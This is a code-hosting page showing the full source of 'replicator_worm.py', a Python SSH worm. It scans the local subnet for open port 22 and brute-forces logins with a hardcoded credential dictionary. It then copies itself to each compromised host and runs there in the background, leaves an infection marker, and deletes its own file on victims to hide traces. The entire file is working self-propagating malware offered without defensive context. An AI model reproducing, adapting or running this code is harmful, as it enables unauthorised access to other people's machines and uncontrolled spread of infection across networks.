-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathreplicator_worm.py
162 lines (137 loc) · 5.01 KB
/
replicator_worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import paramiko
import sys
import nmap
import socket
import os
# File marking the presence of a worm in a system
INFECTION_MARKER = "/tmp/infectionMarker_repW_python.txt"
# List of credentials for Dictionary Attack
DICTIONARYATTACK_LIST = {
'crazy': 'things',
'nsf': '456',
'security': 'important',
'ubuntu': '123456'
}
ATTACKER_IP = "192.168.1.4"
#############################################
#Creates a marker file on the target system
#############################################
def markInfected():
marker = open(INFECTION_MARKER, "w")
marker.write("I have infected your system")
marker.close()
#######################################################
#Checks if target system is infected
#@return - True if System is infected; False otherwise
#@param - sshC : Handle for ssh Connection
#######################################################
def isInfected(sshC):
infected = False
try:
sftpClient = sshC.open_sftp()
sftpClient.stat(INFECTION_MARKER)
infected = True
except IOError:
print("This system is not Infected ")
return infected
###########################################
#Returns IP of the current System
#Tries to Connect to global DNS and gets IP address of ETH0
#Reference: http://stackoverflow.com/a/30990617/5741374
###########################################
def getMyIP():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('4.2.2.2', 80))
return s.getsockname()[0]
##########################################################
#Scans the Network to check Live hosts on Port 22
#@return - a list of all IP addresses on the same network
###########################################################
def getHostsOnTheSameNetwork():
portScanner = nmap.PortScanner()
portScanner.scan('192.168.1.0/24', arguments = '-p 22 --open')
hostInfo = portScanner.all_hosts()
liveHosts = []
for host in hostInfo:
if portScanner[host].state() == "up":
liveHosts.append(host)
print("My IP is: "+ getMyIP())
liveHosts.remove(getMyIP())
return liveHosts
############################################
#Exploits the target system
##########################################
def exploitTarget(ssh):
print("Expoiting Target System")
sftpClient = ssh.open_sftp()
sftpClient.put("/tmp/replicator_worm.py","/tmp/replicator_worm.py")
ssh.exec_command("chmod a+x /tmp/replicator_worm.py")
ssh.exec_command("nohup python -u /tmp/replicator_worm.py > /tmp/worm.output &")
print("Infected this system sucessfully !! ;)")
##############################################
#Tries login with the Target System
#@param hostIP - IP of target system
#@param userName - the username
#@param passWord - the password
#@return - ssh
#############################################
def attackSystem(hostIP, userName, passWord):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostIP, username = userName, password = passWord)
return ssh
#########################################################################
#Tries to find correct Credentails in the available Dictionary
#@param - hostIp - IP of a client is sent ot test if login is sucessful
#@return - return sshConnection handle if Successful Login else,
#returns False
#########################################################################
def checkCredentials(hostIp):
ssh = False
for k in DICTIONARYATTACK_LIST.keys():
try:
ssh = attackSystem(hostIp, k, DICTIONARYATTACK_LIST[k])
if ssh:
return ssh
except:
pass
print("Could not login to the system")
return ssh
#################################################
#I start executing here - Replicator Worm
#################################################
print("Started infecting the network .....")
#Get all hosts in the network
discoveredHosts = getHostsOnTheSameNetwork()
markInfected()
myIp = getMyIP()
for host in discoveredHosts:
print(host + " under Observation ...")
ssh = None
try:
ssh = checkCredentials(host)
if ssh:
print("Successfully cracked Username and password of "+host)
if not isInfected(ssh):
try:
exploitTarget(ssh)
ssh.close()
break
except:
print("Failed to execute worm")
print("---------------------")
continue
else:
print(host + " is already infected")
except socket.error:
print("System no longer Up !")
except paramiko.ssh_exception.AuthenticationException:
print("Wrong Credentials")
print("---------------------")
if(cmp(myIp, ATTACKER_IP) != 0):
try:
os.remove("/tmp/replicator_worm.py")
print("Cleaned all traces")
except Exception, e:
print("Problem in Execution:", e)
print("I am done now !!")